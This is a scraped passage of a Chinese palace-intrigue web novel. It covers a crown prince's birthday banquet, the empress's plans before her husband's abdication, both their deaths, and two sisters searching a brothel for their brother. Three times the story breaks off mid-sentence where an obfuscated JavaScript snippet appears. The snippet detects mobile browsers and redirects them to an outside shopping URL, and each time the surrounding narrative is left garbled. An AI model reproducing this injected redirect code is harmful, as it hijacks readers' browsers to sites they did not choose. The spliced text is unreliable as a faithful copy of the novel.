师棠欢懒在师幼芷身上,笑叹道:“好姐姐好姐姐......唉,你如今越发像大姐姐二姐姐的样子了。” 几人不约而同换了话题,又絮絮说起来,时不时夹杂着几声清脆的笑。只师薇欢兀自在一旁出神,姐妹们说些什么都没大认真听,脑子里方才听到见到的这些事连着这几个月回到师家的见闻乱转,一时好似消化不过来了似的。直到成居浮回来,蹦跳似的几步到她们身边,指着远处廊下的几个人道:“那是谁家的人,我怎么先前未曾见过?” 几人都顺着她指的方向望去,看清了那边的人后,师棠欢和官妙君率先捂着嘴笑起来,幼芷也牵起笑,答道:“是梁郡曹氏和息州荆氏的姑娘。” 成居浮不明就里,一头雾水道:“你们笑什么?” 师棠欢等只道:“待过了今日你就晓得了。” 师薇欢这次倒是晓得她们在笑什么了。虽说众人皆心照不宣,这太子的生辰宴延请各家未有婚聘的女子入宫,是为了择选太子妃。然而旁人不晓得的是实则这也不过是走个过场的事。太子妃的人选一早便内定了梁郡曹氏的曹唤容,前些年师冉月特意去梁郡出巡为的就是这个,而早在她出巡前,便已经托端木萌去曹府上先行看过。 官成澈如今身为礼部尚书,更是早已收到旨意,已经开始暗中操办相关事宜。官闻霏也一早便从父亲那里探听出此事,还好奇道:“这种事情只要选立太子妃圣旨一下,难道旁人还会有异议么?” “京中这些人凡是家中有适龄的女儿或是妹妹的,早盯着这位子好些年了,怎么肯轻易将这位子让给一个常年任职地方不温不火的人家出来的女儿。何况太子妃是未来的一国之母,事关国本,自然轻率不得。这般宴请后,便只消说是太子暗中相看过,属意于她,再由皇后出面证实这姑娘品貌端庄、人品贵重,堪当大任,旁人想挑剔也挑剔不出什么了。” “罢了罢了,我们这般惹人注目也不好。”官闻霏拍了拍笑得最欢的那二人,道:“瞧着时辰一会儿皇后娘娘和太子殿下便该来了,我们先去就座罢。” 师薇欢回神,见官闻霏的目光也看向自己,点头应了一声,跟在师棠欢身后进了大殿。殿内布置并不像她想象中那般金碧辉煌的,倒很是素雅,摆放的器具也多用玉器和瓷器,或是一些她近日才新识得的技艺所制的器皿物什,虽外观不似金玉宝石那般光彩夺目,却要花费好些人力物力,因而也珍稀得很。只是这般放在有些昏暗的大殿中,与旁的东西杂在一块儿,倒是也看不出什么名堂了。 她们就座后,便有宫女前来奉茶。看着那些女子躬身侍奉,甚至都不敢稍微抬头望向自己,师薇欢心中还是有些别扭。她转头看向师棠欢等人,皆是一脸如常地接受着这般侍奉,便也轻轻敛眉,装出一派大家闺秀的样子来。 “别紧张呀,妹妹。”师棠欢突然侧身过来悄声道,“一会儿皇上并不会亲临,在我们之上的只有皇后姑姑和太子殿下,你只当作是走亲访友便好。” 师薇欢咧嘴笑了笑:“先前嬷嬷所说的宫中的诸多规矩,总是不敢忘的。” “那些都无碍。姑姑是不拘于这些礼数的,只要得体便好。何况你我的身份,又有谁敢挑剔呢?” 师薇欢瞥见那曹氏女缓步进殿,被宫女引至官妙君身旁的座次,转头看向师棠欢,笑道:“晓得了,六姐姐。” 她心里提起一口气又轻轻放下。无论过去如何,她始终是师家的女儿,是当朝太傅、阳曲侯师霖和云和长公主端木萌的女儿。 外头人人仰望天潢贵胄,而她如今是天潢贵胄本身。 她归家后,师霖与端木萌已向她解释过当年的始末。旁人也许听说过司天监的预言,却也不晓得渡执所说的谶语,只以为她是体弱是以自幼送到观中修行调养。 瞧见她如今的身板——她刚刚归家时虽瘦却并不体弱,甚至比身边好些自小长在锦绣堆里的姑娘们都结实得多——大约旁人还会觉得这修行的确有“脱胎换骨”的奇效呢。 端坐着一通胡思乱想,蓦地听见太监连着两声“皇后娘娘到——太子殿下到——”,倒把师薇欢吓得一激灵,旋即连忙起身随着众人行礼问安。 余光中她瞥见那一袭华服的身影似乎在掠过自己时顿了一顿,但也许只是她的错觉。 “平身。” 众人谢过,又依次落座。 师薇欢悄悄昂起头,看向坐在不远处主位上的皇后娘娘,那位一直在师家众人口中的她们姐妹们嫡亲的姑母。只见她一张稍显丰盈的面庞上嵌着一双桃花眼,眼中无波,眼角的一道皱纹已经清晰可见,却更显出几分不怒自威的气势来。头冠上的凤凰口中衔着的一颗红宝珠恰恰垂在眉间,似是花钿,又似是庙里的菩萨眉心的红印。一袭绛紫华服在这叫她觉得有些沉闷的殿内也闪着华光,裙摆挨在她座下上好皮毛制成的毡垫上,轻盈而又有分量。 只见她轻轻颔首示意,她身旁那瞧着品阶很高似的太监便又扬声通传,随后一溜儿水葱似的宫女鱼贯而入,琉璃盏盛着摆放精致的各色菜品摆在桌上。接着便是一队身着水蓝衣裙的舞姬,踏着身后屏风里传来的乐声和鼓点走上前来,飞舞的水袖遮挡了视线,叫师薇欢一时看不清上面的女子,只好低头研究起菜色。 师棠欢与她讲过宫中的菜是什么样子:“一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当初在逢州,师幼芷虽不似师棠欢那般围着师冉月活蹦乱跳的,却时常自己一个人溜到她院子里,起初还只是坐在角落里,后来便常依偎在她身旁,不声不响,像一株春天里未长成的嫩柳,倒成了姐妹中数一数二与师冉月亲近的了。 师冉月见她如今肯多说话,也很高兴,笑道:“你若真这般想,我便把你要到宫中做个女官,日日陪着我,如何?” “那我便要谢姑姑的恩典了。”师幼芷俏声道。 师冉月又把师幼桐拉到面前,仔细比量一番,道:“瞧着高了些,但怎么还是这般瘦?” 师幼桐仍是很腼腆的样子,只抿嘴笑了笑,却不答话。师冉月笑叹一声,道:“莫不是京中的菜不合你口味?我记得家里厨房的菜都是一样的啊。” 师幼桐又摇了摇头。 “罢了,一会儿我叫我这儿小厨房做些可口的。方才那宴想来也吃不饱人。” 师棠欢不用师冉月示意,早蹦到她身前,攀着她的肩道:“姑姑姑姑,你看我哪里变了?” 师冉月故作猜疑状,皱眉想了一会儿,才点了点她的脑门,道:“你啊,一点没变。” 师棠欢倒皱眉:“没变......是好还是坏?” 师冉月只放她嘀咕去,眉眼轻柔看向一直站在不远处绞手帕的师薇欢,招了招手:“薇欢?来,教姑姑看看。” 师薇欢愣在原地,圆睁着一双眼睛,手脚却凝滞住了。师棠欢见状笑着走到她背后,双手扶着她的肩将她推到师冉月面前,口中促狭笑道:“来嘛妹妹,姑姑又不会吃了人。” 师冉月轻轻牵起师薇欢的手,上上下下看了半晌,才悠悠叹道:“难为你了。” 师薇欢像是被火舌舔了一下,手一颤,却没挣脱,眼睫像被雨水打湿的鸦羽忽闪了几下,沉甸甸地半垂着。她觉得应当说些什么——上面坐着的是皇后,尽管她如今实在被迷惑住了——皇后倒是是什么,能够是什么模样,又应当是什么模样...... “你不必紧张,只当这里是在宫外,寻常走亲访友罢了。”师冉月轻轻摩挲着她的手,却又忽而一顿,脸上添了几分无奈和凄婉:“也罢。如今世上你们倒也不剩几个我这般的长辈了。”原先师家乌泱泱兄妹六个,二十年功夫,竟只余她与师霖兄妹二人了。 但她又很快从那几分伤感中抽离出来,仿佛一出独角戏最出色的角儿。“不说这些了。我——” 她抬头迎上躬身走进来的罗幕的目光。 “娘娘,令成公主来了。” “教她进来罢。汐儿在哪里?” “回娘娘,妧成公主和奶娘带着江都公主到御花园去了。” 师冉月点点头,便教师幼芷和师幼桐与端木含皆到御花园去玩。师棠欢只说起得早,这会子乏了,便与师薇欢一道留在坤宁殿的暖阁小憩。这本是不合仪制的事,不过因着师冉月特许,旁人倒也不敢多言。 金丝攢的锦被缠绕着丝丝缱绻又恬淡的熏香,师薇欢身上搭着师棠欢的一只手,望着头顶上浅绯的帘幕,不一会儿也昏昏欲睡。 再睁眼时天已半黑。 暖阁外燃着些烛火,只照得一切事物都在昏黑中影影绰绰的。师薇欢揉了揉眼睛坐起身,扭头看了看师棠欢,见她还未醒,便也想继续躺下假寐,却觉得口中干渴不已,环顾四周却不见宫人,想是师冉月嘱咐不要叫人打扰,又或是都随着主子去了别处。 她在心中暗叹,实在忍不住口渴的念头,便轻轻翻身下榻,穿好鞋子,蹑手蹑脚绕到屏风外看了看,发觉师冉月好似真的不在殿中。 隔壁便是皇后寝殿。她看见窗外有人守着,却又怕叫人进来扰了师棠欢好梦,正发愁时,余光瞥见师冉月榻前的小几上放着一只茶壶,忙不迭走了过去,环顾周围见无人发现,便索性直接抱起茶壶就着那壶嘴喝了几大口茶水,才觉得嗓子方才干裂的感觉消失了。 她悄悄把茶壶放到原位,正要回榻上继续装睡,转身之际却被地上厚实的毡垫绊了一脚,跌撞几下,猛地一下扶在一处桌腿上才终于没把脸碰到地上。于此同时却只听见上方传来“骨碌碌”的声响。她颤巍巍起身,才发觉自己扶着的是师冉月的妆台——她在东宫宴上戴的那顶衔着红宝石的凤冠正放在上面,而骨碌碌滚落的正是妆台上的一只花瓶。 还好花瓶没碎。 她拿自己的帕子好容易把水擦净,凭着白日里的印象将花瓶放回妆台顶上,又将掉出来的那朵菊花也插了回去。正要吁出一口气,却在窗外烛火和月光的照耀下发现那木制的妆匣底部也被方才洒在案上的水洇湿了。瞧着那泾渭分明的水痕,师薇欢一颗心简直要蹦到嗓子眼。怕妆匣内的首饰也被沾湿——万一皇后姑姑也像她一样把银票藏在妆匣里那就更是糟了,她手忙脚乱地抽出底部的那两只匣子,看见里面果真有纸张的时候更是几欲昏厥。 她颤着手把那些纸举起来对着光看了看,绝望地发现最下面的两张纸已经受到了波及,甚至有墨字晕开的痕迹。 更要命的是,她听见殿外越发清晰起来的人声。 73.第 73 章 “棠欢,薇欢?怎么还没醒。你们两个姐姐都在前头等了好久了。” “嗯,唔......哦,天老爷,怎么已经天黑了!” 师棠欢一惊一乍地坐起,抓起正坐在榻边看着她们笑的师冉月的手:“好姑姑,要是叫我娘晓得我们因为睡过头了没及时回去,她肯定要骂我们了。” “这倒无妨,我教人给云姝传个话去,只说是我留你们久了。幸得今日太子生辰,宫门延迟关闭,不过也只还有一刻功夫便要关了,我已教人将马车备好了,你们且利索些。”说着又拍了拍还在揉眼睛的师薇欢的背,将她们二人半赶半抱着捉下榻,叫人带她们去更衣。 回去的路上,马车一摇一晃间,也不晓得师棠欢是还未醒完全还是又困了,口里还嘀咕着话,人却已经不大清醒,上句不挨下句的。 “妹妹,我还没怎么问过——”她打了个哈欠,“你从前在那观里过的是怎么样的日子啊?” 师薇欢一只手即使被师棠欢压着也紧紧攥着另一只袖子,心里正乱糟糟地揉成一团,听见师棠欢问的话,愣了一愣,才反应过来,面上不觉放松了几分。 “就是寻常的日子,与京郊那些村户人家没什么差别。不过我们......观中大家相互之间都没有血脉连接,但也仿若家人一般。我和另外一个女孩儿是观中年纪最小的,师父、师叔们,还有师兄师姐们,都很照顾我。” 渡执当初将她抱到江浪观,便把她交给了一个叫幸初的女冠抚养,她也就自然而然成了她的“师父”。渡执并不常居江浪观,大多时间他都在外云游,偶尔会回来送些东西,有时也会有些好玩的物件,像是布玩偶、彩陶的泥人之类的,因此孩子们倒也都盼着这个“师伯”回来。 渡执还有一个师弟,叫做吕萩鸣,薇欢等人唤他作“吕师叔”。他在观旁的村子里有处宅子,因此也不常住在观里。若他不修行,恐怕是个绝顶的木匠,随手削出来的木剑都仿佛带着铁器的寒光,做些哄孩子玩的小东西更是信手拈来了。 观中年纪较大的女冠,除去幸初,便是白江。她不喜欢说话,但比起有些严厉的师姐幸初,她对孩子们就可称得上是无比温柔了。 除她们外,住在观中的还有大师兄木橼、大师姐折鹤,还有二师兄路津。此外便是一个同样被渡执抱进观中的韩偃。他与师薇欢都不算真正的修道之人,因此便也没排行,只以兄妹或姓名称呼。此外还有一个算不上在修道的与师薇欢同龄的宁碧水,她原是幸初一个执意还俗嫁人的师妹宁悟欢的孩子。先前宁悟欢不顾幸初和白江的阻止出了观,却被人欺骗抛弃,最终回到观中生下了一个女儿,便难产而亡了。不晓得为何幸初没有叫这个孩子修道,只是让她与韩偃和师薇欢在一处。 师薇欢在记忆中挑拣着不用避讳的东西,说说停停,良久,才发现师棠欢已经靠着她的肩膀轻轻打起了呼噜。 她暗自笑叹,想到袖子里藏的东西,霎时又笑不出来,只盼着师冉月不会发现。 或者也许一会儿回了房间,她可以试着模仿那信上的字迹誊抄一份,改日若有机会再悄悄放回去也好。 忙完了一日的事情,师冉月终于坐到妆台前,一边闭目养神,一边感受到头上的重担一点点卸下,只觉舒坦。 直到音儿将她的头发都拆完,她才睁眼,自己卸下余下的钗环首饰,随即便兀自盯着一处发呆,只由音儿继续为她梳着头发。 音儿梳完了头发,却见师冉月仍似是在愣神的样子,顺着她的视线瞧过去,只看见妆台上那个她一直觉得碍事却被师冉月留下来的花瓶,里面那朵早上插进去的菊花已经彻底耷拉在了瓶口。 “今日这花蔫的也忒快了些。” 师冉月收回视线,低头想了一会儿什么,才慢慢开口道:“这花瓶放在这里是不大好。明日叫罗幕将她撤了罢。” 乐康七年十月初十,上诏曰:梁郡太守曹功长女曹氏唤容,淑慎持身,言容有则,训彰图史,誉流邦国,正位储闱,寔惟朝典。兹册封为太子妃。尔其益敦真顺,懋修妇道,助宣壶教,永绶福履。钦哉! 眨眼又是新岁。 宫中诸项仪礼照旧,除夕宫宴,一样的歌舞升平、觥筹交错。师冉月脸上挂着僵硬的笑容,举杯看着众人面上一成不变的神态与往昔数年重合,竟有种不寒而栗的感觉。 端木玄却完全是一副泰然自若的样子,甚至似乎为着这最后一次有些许怅然,一连喝了不少酒,此时红光满面,瞧着完全是喜迎新岁的模样。 师冉月看了看自己下面陪侍的如今已封了贵妃的江映和德妃赵玉熹,二人一点未瞧出端倪,似乎这样的时候还有好多好多年。她又看向不远处即将赶赴封地的端木城,这孩子如今还在孝期,不能饮酒,不过与他那新婚不久的妻子萧妙安瞧上去倒是琴瑟和鸣,气氛温馨,倒比冷冰冰坐在那里走过场的端木玦更叫她宽慰。 鼓声遥响,宴罢乐歇。 端木玦搀扶着路都有些走不稳了的端木玄,一路歪歪斜斜地跟着师冉月回了坤宁殿。 及至进了殿门,脱下鹤羽大氅,师冉月这才转头看了看父子二人,叹了口气,道:“且将他扶到榻上去罢。醉成这样,还怎么守岁。” 端木玄却摇晃着直起身,伸手拂开端木玦搀着他的手臂,努力睁大眼慢吞吞道:“我还能守。” 端木玦道:“合月姑姑,你去熬碗解酒汤来罢。” 音儿道:“这倒不必麻烦,咱们早就备好了。”只不过原先她是预备着师冉月要借酒消愁,谁承想竟是端木玄喝多了。 师冉月懒得照顾醉鬼,干脆摆了摆手示意端木玦照顾他父亲,自己先去沐浴更衣,换得一身轻松温暖的常服,这才慢悠悠坐到炉边,抱着她方才命人做的一碗酒酿的赤豆圆子一口一口吃起来。吃了一半,才发觉端木玦眼巴巴盯着她手里的圆子,这才失笑,道:“厨房里有的是,还能少了你的么?怎么,许久不来我这儿吃东西,竟都生疏了。” 她总觉得宫人呈上来的东西全都是一个硕大的盘碗中可怜的一点,除了摆的精致看着好看,再无一点用处。因而在坤宁殿时,只要不是累到直想教人把食物直接喂进自己嘴中,她都喜欢亲自到灶间挑自己爱吃的。端木玦和端木汐也跟着她养成了这般习惯。 端木玦自去年被端木玄捉着“监国”,同时功课也得继续学,的确是忙得脚不沾地。沈案之唯恐教出来个昏君遗臭万年,这么些年半点不敢松懈,才不到五十岁头发鬓发竟白了一半,弄的端木玦也不敢懈怠。因而近来他的确很少来坤宁殿,来了大多也只是请个安、说两句话,便又匆匆离开,全然没有留下用饭的功夫。 “罢了,罗幕,想来太子殿下是只会吃你送到手的东西了,你且去给他端过来罢。” 师冉月省得他不易,嘴上玩笑着,心里却不怪罪,只是心疼,因此便隔三差五地命罗幕挑端木玦爱吃的菜送到他的居处或书房。 罗幕笑嘻嘻应声去了。端木玦脸有些红,却只示意师冉月看向靠着他肩背呼呼大睡的端木玄。 师冉月笑叹一声,把碗放下,起身把端木玄从他身上搬开,随手拿了个软垫叫他枕着靠在椅背上。 这厢端木汐揉着眼睛回来,口中称道:“大姐姐说她这些日子收拾行李累了,实在熬不住,就先睡了——诶,爹爹怎么也睡着了?”她看见师冉月和端木玦手里的赤豆圆子,十分熟练地跑到小厨房自己舀了一碗回来,坐到他们身边继续端详端木玄毫无形象的睡姿,还道:“要是有个画师在,能把爹爹现在这个样子画下来就好了。” 端木玦淡淡道:“乘人之危,非君子之风。” 端木汐直接摆手:“别与我说这些‘之乎者也’的,你骗骗四弟也就罢了,还想唬我?” 端木玦叹道:“人小鬼大。” 兄妹二人笑闹着,你一句我一句倒也这么说了个不停,良久才发觉师冉月已经在旁边沉默了好久,不约而同地住了口,齐齐望向她。 师冉月察觉到他们的视线,微笑道:“这是说累了?” 端木汐摇了摇头,问道:“娘亲,你怎么不说话?” 师冉月想了想,试探道:“汐儿,明年,我们换一个地方守岁,好不好?” 闻言,端木玦眼神蓦地黯淡,敛眉拨弄着炉中的火炭。火舌明亮狡黠,时而似乎很听他的摆弄,时而又似是想要燎伤他的手指。 端木汐却没觉得有什么。她还不到七岁,从前年纪小,熬不了夜,开始跟着大家守岁也不过是这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278527|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二年的事。 “那,你是更喜欢京城,还是想去别的地方看一看?” “还是京城吧。”端木汐想了一会子,道,“别的地方的人我都不认识,而且肯定也没有京城好。” 师冉月若有所思地点了点头,拉起她的手,柔声道:“既然这样的话,如果有一日,爹爹和娘亲都不在宫中了,你就替爹爹和娘亲好好陪陪二哥,好不好?” “好呀。” 端木玦侧过头,对上妹妹甜甜的笑容,嘴角也跟着弯起弧度。温暖的手掌摸了摸她的发顶,又轻轻掐了一下她的脸。“在宫里会很无趣。” “那我就去舅舅家,找表哥表姐他们就是了。何况将来,二嫂嫁进来,然后二哥也会像爹爹一样有好多妃嫔娘子,她们还会为我生好多侄儿侄女,怎么会无趣呢?” “怎么就成了为你生的了。”端木玦和师冉月皆失笑。 凌晨,端木玄一觉醒来,只看见师冉月孤零零一个人坐在窗边看雪。 玉花堕地,落进灰蓝的天色中,遮掩了去岁夜里铺在地上的爆竹碎屑。她穿着一身素银的衣裳,仿佛也要融在这片惨淡的晓光中。 肩上一沉,师冉月顺势拢了拢落在肩头的大氅,似笑非笑道:“终于醒酒了。你若再不起来,我还以为有谁比你更希望你早死,给你下了毒呢。” “那倒也是桩好事,省得我再费心布局了。” 师冉月嗤笑一声,道:“妧成想要留在宫中。江都尚且年幼,必要由人庇佑照料。” “你想把她交给谁?” “若说叫我一万个放心的,自然是请云和长公主入宫照料。”她笑了笑,“那样这天下可就真算得上改姓‘师’了。” “我倒不在乎这个。” “我晓得。但你不在乎,不代表太子不在乎。”她顿了顿,道:“所以,我想将江都公主交给贵妃抚养。在新君亲政前,由江太妃协助皇后掌管宫壶,待皇后能够独自执掌后宫时,是随太妃们移居行宫,还是留在宫中请皇后抚养,再看她自己的意思。” 话虽是这么说,师冉月也晓得,幼子必定会依赖身边亲近之人,彼时恐怕端木淇只会想跟着江映去行宫。行宫守备不及大内四分之一,规矩也不多,彼时再要操作也好下手。 “这都随你。”端木玄眉宇平展,发间霜色显露,像落在窗内的雪。“别人都安排明白了,你自己呢?” 师冉月托着腮倚着窗,神色懒散,理所当然道:“我自然是——” 电石火光间,她猛地刹住话,对上端木玄幽深的眼神,一瞬间只觉得天旋地转,仿佛二十余年间的风雪落在脊背,冻得她再也说不出话。 自从她嫁给他,夫妻一体,夫唱妇随,荣辱与共几乎成了一切行事的理由。可当荣辱没有了意义,这段婚姻的价值也就不再存在了。 端木玄满目了然,望向窗外的雪,道:“再说罢,这也不是什么急事。且先梳洗了准备去太庙罢。” 乐康八年五月二十七日,上诏禅位于太子玦,以太上皇自居,逊位别宫。皇后师氏为皇太后。贵妃江氏、德妃赵氏、宁妃俞氏为太妃,昭容蒋氏为太嫔。 以新君年幼,命太傅师霖监国,太子少师沈案之、右卫上将军谭梁、礼部尚书官成澈、吏部尚书赵妥佐政。 太子登基,以次年为元安元年。册封太子妃曹氏为皇后。 端木嵩为成阴郡王。令成公主端木含为庆元长公主,妧成公主端木汐为永顺长公主,福成公主端木润为建平长公主,安成公主端木泠为禹兴长公主,康成公主端木清为饶阳长公主,江都公主端木淇为江都长公主。 云和长公主端木萌进为云和大长公主,缙云长公主端木暄为缙云大长公主,新宁大长公主端木菡为新宁大长公主。 七月,太上皇暴病,崩于行宫。太后师氏闻之大怮,亲往行宫瞻仰遗容,次日殉情于灵前。上哀之甚笃,罢朝七日,谨从上皇遗诏,丧仪从简,免除诸臣灵前瞻仰参拜众礼,并请百官为大行皇帝议谥,以“布义行刚曰景”,称景宗。于行宫停灵七日,以其意愿送归慕州安葬,不设陵碑。国丧三月,以保民生。 礼部奏询为太后师氏议谥一事,上哀之,故亲为母拟谥“昭思”,世称昭思皇后。 74.第 74 章 元安元年二月,师迟成亲。 师薇欢还以为以师迟的桀骜与顽固,与步成安这样飒爽坚韧的女子撞上只怕是针尖对麦芒,还正经担忧过一阵子会否家中未来会因此鸡犬不宁。 不过实际的情况却叫她大跌眼镜。步成安并没有对她那天生反骨似的二哥耳提面命,反而看上去比言晓风还亲和,却叫师迟心甘情愿地对她俯首帖耳,成日里笑得傻兮兮的。 她把玩着步成安送她的香囊,望着窗外树梢冒出的嫩芽在这几日倒春寒的冷风里瑟瑟发抖,终于叹出今日经师棠欢有记载以来的第二十三口气。 “是什么——让你——如此忧愁?”师棠欢手拿扇子,绕着师薇欢转了一圈,最后停在她面前,手上利落地将扇子翻飞着转了个圈,拿扇柄挑起她没精打采的下巴,挑眉道。 师薇欢嫌弃地拨开她的扇子,又叹了口气,道:“你随着宫中最好的舞师学了两个月,学的难道是如何调戏人吗?” 师棠欢又踮着脚尖转了一个圈,道:“其实你不用着急——二哥让你去找四哥的事儿。我知道他在哪里,过不了多久他自己就回来了。” 师迟成亲前几个月,老燕王端木敬病逝。因着毕竟是宗亲,加上师家有意通过燕王府的关系搭上女真和北边其他部落的马匹和木材的路数,便教师言一同跟着前去涯州吊唁。 也不晓得发生了什么,自涯州回来不久,师言竟一改从前对定亲成家一事推脱磨蹭的样子,主动向父母提出求娶和宁郡主。因着那姑娘幼时给众人留下的娇蛮霸道的印象,师家上下几乎是无一人不反对——除了师霖。 “这样倒正好,你我就不必再为了马匹和木材一事费心了。何况我在涯州亲见,那新任燕王端木柏端的就是个酒鬼罢了,在生父灵前尚且宿醉,上香的时候步子都是飘的。何况他如今年过三十,尚且只有一个女儿,恐怕燕王这一脉也就到这了,也省得我们忌惮别的。” 于是这桩婚事便这般敲定下来。 谁承想这婚事已定,倒是当初主动开口求娶的师言自己开始变得莫名其妙,阴晴不定的,行踪更是叫人琢磨不透。师迟完全沉浸在自己将要和步成安成亲的喜悦里,完全没心思理会师言。唯一知道些内情的师琦还因为前阵子和人赌牌被抓,被师霖发配回逢州勒令闭关习武准备武举,如今更是连一点音信都不得。 到了昨日师迟婚宴的时候,师言倒是回来了,但只是假笑着陪宾客喝了几口酒便走了,到了今日也没回来。因着师迟和师玘给他打掩护,师霖和端木萌倒没太怪罪他,但师迟私下却很不爽,觉得师言此举下了步成安的面子,正巧逮着路过的师薇欢,便“勒令”她去把师迟捉回来给步成安请罪。 “我看二嫂嫂根本就不在乎这事儿,他要是在乎,他怎么不自己去。”师薇欢忿忿道。只可惜她那会儿没反应过来,直接点头应下了,这会儿又不想到那新婚燕尔蜜里调油的小夫妻面前现眼,便只自己在这儿生闷气。 师棠欢想了想,凑到师薇欢面前,道:“既然这样,我们现在就去找四哥吧!” “怎么找?” “山人自有妙计!” “话说这归县地处群丘之间,那是山如远黛、水似含珠,简直就是世外桃源。谁知某日,这县郊的山脚下,一处别墅拔地而起,凡有好奇者前去探寻的,归来后皆目光呆滞,口不能言。一时不知那别墅中住的是人是鬼——” “哎呀呀别听了,别忘了正事!”师棠欢拉走在茶馆前止步不停地师薇欢,继续兴致勃勃地大步往前走去。 师薇欢看着她这副激动的样子,心里早觉不妙。果不其然,当她穿着男装站在来仙楼前时,她只觉得脑中“嗡嗡”作响,好似在做梦。 “等等等等!”她死死拉住毫不犹豫就要往里进的师棠欢,“你知道这是什么地方吗?” “知道啊。”师棠欢一脸理所当然,又凑到她耳边,戏谑道:“对了,忘了告诉你,这楼的前前东家,是我们的祖父;前东家是我们的四叔;现任大东家,就是爹爹。我们来视察自家产业,有什么不妥。” 师薇欢大受震撼,手脚发飘地被她拉了进去,直到坐在“雅间”位子上面对着那位把自己打扮得像花孔雀的老鸨时,还觉得自己怕不是在做梦。 “哎唷我的好姑娘们,这种地方怎么能是你们来的呀!” “你别管这些,只当今日没见过我们就是。你只管告诉我我四哥在哪间屋子就是了。” “哎呀,四公子他也不在奴家这儿啊。” “怎么可能呢?那难道他是去了绿妍阁?” “四公子也不去绿妍阁的。自从上次四公子和五公子在我们这儿被侯爷抓了个正着,他们便再也不来了——奴家哪里敢跟您扯谎呢。” “四哥竟真不在这儿......难道是我猜错了?”师棠欢下楼梯的时候还在嘀咕,眼神不住地四处打量,蓦地便定到一处不动了。师薇欢心跳忽地一下子快了起来,还以为她发现了师言,激动地顺着她的视线看过去,却并没发现师言的身影。 等她再一回头师棠欢已经不见了踪影——“子凿哥!” 那人被吓了一跳,手脚并用捂着脸转身就跑,却被扮作男装一脸狡黠的师棠欢踮着脚一把抓住后衣领,只好颤着手转身赔笑:“好妹妹,你怎么自己来这儿了?” “我不是自己来的啊,还有我妹妹呢。”师棠欢向师薇欢招了招手。“倒是你,子凿哥,我记得上次个月你爹爹知道你偷偷去绿妍阁吃花酒,打了你二十棍,姜伯母还叫人打了你十个嘴巴,竟这么快就好了?” 官成澈和姜舜膝下一子三女,这一子便是官子凿。先前官成澈本来还有两个庶子,可惜先后早夭,于是只好把希望全部寄托在官子凿身上。可惜官子凿虽是个聪明的,但就是不肯静下心来准备科考,简直是除了读书无一不精。加之他又继承了一副好相貌——当年京城中若论相貌出众,数一的是师霖,数二的便是官成澈。如今师霖的两个儿子并没能完全继承到他当年的风采,官子凿却像是和他父亲一个模子刻出来的,又有姜舜的优点优化,忽略这一副吊儿郎当的样子,往哪儿一站都仿若神仙降世,光华照人,比他那三个姐妹都要出众。他自是不肯浪费自己这一副好皮囊,非要当个风流倜傥的富贵闲人。官成澈和姜舜也狠不下心来真将他关上一关,便成了今日这种局面。 不过他也很快反应过来:“说起来,六妹妹,虽然我不应该在这儿,不过你们两个穿成这个模样到这儿来,若是教大长公主知道了,恐怕也要有麻烦罢?不如我们就——” “停,我们和你可不一样。若我记得不错,还有两个月你就要娶章家姐姐过门了吧?若是叫你伯母知道了今日之事,恐怕你便不能再留在京城了吧?” 官子凿的未婚妻正是官成潜的夫人章太息的内侄女章持灵。先前姜舜曾与章太息说过,若是不能管束官子凿,便叫他成亲后到兖州章家去住。章家上下从老太爷到章家出来的女儿无一不是严肃端方的性子,定叫他考取功名才能归京。 果然,一提此事,官子凿便白了脸色,连连求饶:“好妹妹,是我的错,你要什么我都答应你,只别说今日的事就成。” “你只告诉我,我四哥可能在哪儿就成。” “这......” “你别推脱!我五哥说过,回京之后你们几个便无时无刻不在一块儿,如今他不与你一处,你能不过问他的行踪?” 官子凿无奈长叹,只好道:“好罢,我告诉你,只是你可别把我供出去了。你......唉,你们去采珠巷就是了。” 师棠欢得到了答案,满意一笑,也不再与官子凿多纠缠,还嘱他“放心玩,好好玩。”便拉着师薇欢又一阵风似的出了来仙楼。 师薇欢被那楼中的熏香尚且熏得脑子发晕,也没反应过来方才他们二人到底说了些什么,只问道:“我们现在去哪儿?” “采珠巷。” “那是哪儿?” “我也不知道。” “那怎么去?” 师棠欢朝不远处努了努嘴,师薇欢定睛看去,才认出是官氏的马车。想来是官子凿怕被发现,特意命马车停在茶楼下。 搭着官子凿的马车一路晃悠到采珠巷,师薇欢还在为这一路的“威逼利诱”提心吊胆,师棠欢已经大大方方地四下打量了起来,还感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278528|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叹道:“不愧是四哥。这地方咱们家的人平常是一万个不会来的。” 采珠巷中住的皆是乐户,隶属贱籍,纵是平民人家也不屑与其来往,更别提官宦子弟。纵是流连于勾栏瓦舍的纨绔子弟恐怕也不会愿意踏足于此。 “那我们,今日,要是东窗事发,算是什么罪过?”这一路遇到这么些人显然不能保证每个人的嘴都是严的,事情败露便是极有可能的。师薇欢对于家法还不是很了解,因为这玩意儿在她回家后还没有启用过,如果师琦被送回逢州关禁闭不算的话。 